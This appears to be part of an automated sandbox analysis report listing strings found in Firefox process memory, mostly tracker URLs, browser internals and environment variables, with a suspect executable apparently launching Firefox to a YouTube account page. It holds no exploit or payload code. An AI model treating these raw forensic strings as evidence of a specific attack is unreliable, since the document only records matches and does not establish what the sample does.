Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://.adsafeprotected.com//adj""://.adsafeprotected.com//Serving/"reject_trackers_and_partition_foreign"://s.webtrends.com/js/advancedLinkTracking.js""://ads.stickyadstv.com/user-matching""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com/tpl?""://.adsafeprotected.com/jsvid?"MAX_SUSTAINED_WRITE_OPERATIONS_PER_MINUTE"://securepubads.g.doubleclick.net/gampad/ad""://pubads.g.doubleclick.net/gampad/ad""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/.js""://.adsafeprotected.com//imp/""://.adsafeprotected.com/jload""://.adsafeprotected.com/jload?""://.adsafeprotected.com/jsvid?""://pubads.g.doubleclick.net/gampad/ad-blk""://.adsafeprotected.com/.png""://vast.adsafeprotected.com/vast""://.adsafeprotected.com//Serving/""://pixel.advertising.com/firefox-etp""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jsvid""://www.facebook.com/platform/impression.php""://ads.stickyadstv.com/auto-user-sync""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com/.gif""://.adsafeprotected.com//adj*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://js.maxmind.com/js/apis/geoip2//geoip2.js""://www.facebook.com/platform/impression.php""://.adsafeprotected.com/services/pub""://.adsafeprotected.com/.gif""://pixel.advertising.com/firefox-etp""://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/.png""://.adsafeprotected.com/jload?""://.adsafeprotected.com/jsvid""://track.adform.net/Serving/TrackPoint/"Please use $(ref:runtime.onRestartRequired)."://s.webtrends.com/js/webtrends.js""://pubads.g.doubleclick.net/gampad/ad"default_public_and_private_interfaces"://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com/.js""://s.webtrends.com/js/webtrends.min.js""://.adsafeprotected.com//imp/""://.adsafeprotected.com//unit/""://track.adform.net/Serving/TrackPoint/""://pubads.g.doubleclick.net/gampad/ad-blk""://vast.adsafeprotected.com/vast""://.adsafeprotected.com/jload" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://pixel.advertising.com/firefox-etp""://pubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com//imp/""://trends.google.com/trends/embed""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com/services/pub"browser-shutdown-tabstate-updated"://.adsafeprotected.com/.png""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com/tpl?""://pubads.g.doubleclick.net/gampad/ad-blk""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com/jload?""://.adsafeprotected.com/tpl?""://.adsafeprotected.com/.gif""://trends.google.com/trends/embed"["://trends.google.com/trends/embed"]"://.adsafeprotected.com/jload"resource://gre/modules/PlacesUtils.sys.mjs["://trends.google.com/trends/embed"]"://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/.js""://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/services/pub""://.adsafeprotected.com//adj""://vast.adsafeprotected.com/vast""://.adsafeprotected.com/jsvid""://cdn.cmp.advertising.com/firefox-etp""://track.adform.net/Serving/TrackPoint/""://www.facebook.com/platform/impression.php""://.adsafeprotected.com//Serving/"resource://gre/modules/UpdateUtils.sys.mjsmain/translations-identification-modelschrome://browser/content/browser.xhtmlDEFAULT_THEME_RESPECTS_SYSTEM_COLOR_SCHEMEmain/anti-tracking-url-decorationresource:///modules/ThemeVariableMap.sys.mjsresource:///modules/AttributionCode.sys.mjsbrowser.theme.unified-color-scheme--toolbar-field-focus-background-colorresource://gre/modules/ExtensionParent.sys.mjsmain/search-default-override-allowlist60e82333-914d-4cfa-95b1-5f034b5a704bservices.sync.clients.devices.mobile_setInactiveAsync/this._inactiveTimeout<resource://nimbus/ExperimentAPI.sys.mjsID of a MenuItem cannot be changedCould not find any MenuItem with id: this.menusInternal</onClicked/listener/<Child MenuItem already has a parent.:scope > #context-sep-navigation + getProfileDataAsGzippedArrayBuffermain/anti-tracking-url-decorationresource://normandy/lib/NormandyUtils.sys.mjsmain/devtools-compatibility-browsersresource://gre/modules/AddonManager.sys.mjsresource:///modules/ShellService.sys.mjsresource://gre/modules/TelemetryArchive.sys.mjsservices.sync.clients.devices.desktopChild MenuItem not found, it cannot be removed.BROWSER_THEME_UNIFIED_COLOR_SCHEMEmain/websites-with-shared-credential-backendsresource://gre/modules/AsyncShutdown.sys.mjs--newtab-background-color-secondary_determineToolbarAndContentTheme/contentTheme<--toolbarbutton-active-background--lwt-selected-tab-background-colorchrome://browser/content/browser.xhtmlchrome://browser/content/browser.jschrome://browser/content/browser.xhtml--lwt-toolbar-field-highlight-textlwt-toolbar-field-focus-brighttext--autocomplete-popup-highlight-backgroundresource://nimbus/lib/ExperimentStore.sys.mjs--autocomplete-popup-highlight-colorchrome://browser/content/browser.xhtml_determineToolbarAndContentTheme/too
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account0c equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: +www.youtube.com$c equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: +www.youtube.com` equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: +www.youtube.comt equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B459A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: +www.youtube.com\| equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -*- UpdateBrowserIDHelper: browsing-context-discardedhttps://www.youtube.com/accountgetCurrentInnerWindowWithIdinternal:privateBrowsingAllowed equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2741299841.0000025B37D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000003.2673067688.000001E076300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2672965218.000001E0762ED000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2674017337.000001E076302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /v8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49993000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2786679292.0000025B49951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2780213062.0000025B4954D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2777080126.0000025B4922C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B489D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B4898E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsATH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740032193.000000BC2C6BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ?www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740032193.000000BC2C6BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ?www.youtube.com:443: equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2740519410.000000BC2CDFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: ?www.youtube.coms.mozilla.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001E.00000002.2811900560.0000025DAED84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741105723.0000025B37BB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountM equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4ACED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 7bfd2dfdc1.exe, 00000019.00000002.3450037766.0000000006AB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/a equals www.youtube.com (Youtube)
Source: 7bfd2dfdc1.exe, 00000014.00000002.3449153827.0000000006494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2754391276.0000025B45A23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: REPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PRP\ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: SitePermsAddonInstall#cancel called twice on media.gmp-manager.cert.checkAttributesFileUtils_openAtomicFileOutputStream://connect.facebook.net//sdk.js@mozilla.org/network/safe-file-output-stream;1://www.everestjs.net/static/st.v3.js*://connect.facebook.net//all.jsresource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/play.svg@mozilla.org/network/atomic-file-output-stream;1https://smartblock.firefox.etp/facebook.svg://libs.coremetrics.com/eluminate.jsFileUtils_openSafeFileOutputStreamwebcompat-reporter@mozilla.org.xpiFileUtils_closeAtomicFileOutputStream://static.chartbeat.com/js/chartbeat_video.jsFileUtils_closeSafeFileOutputStreamresource://gre/modules/FileUtils.sys.mjs://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
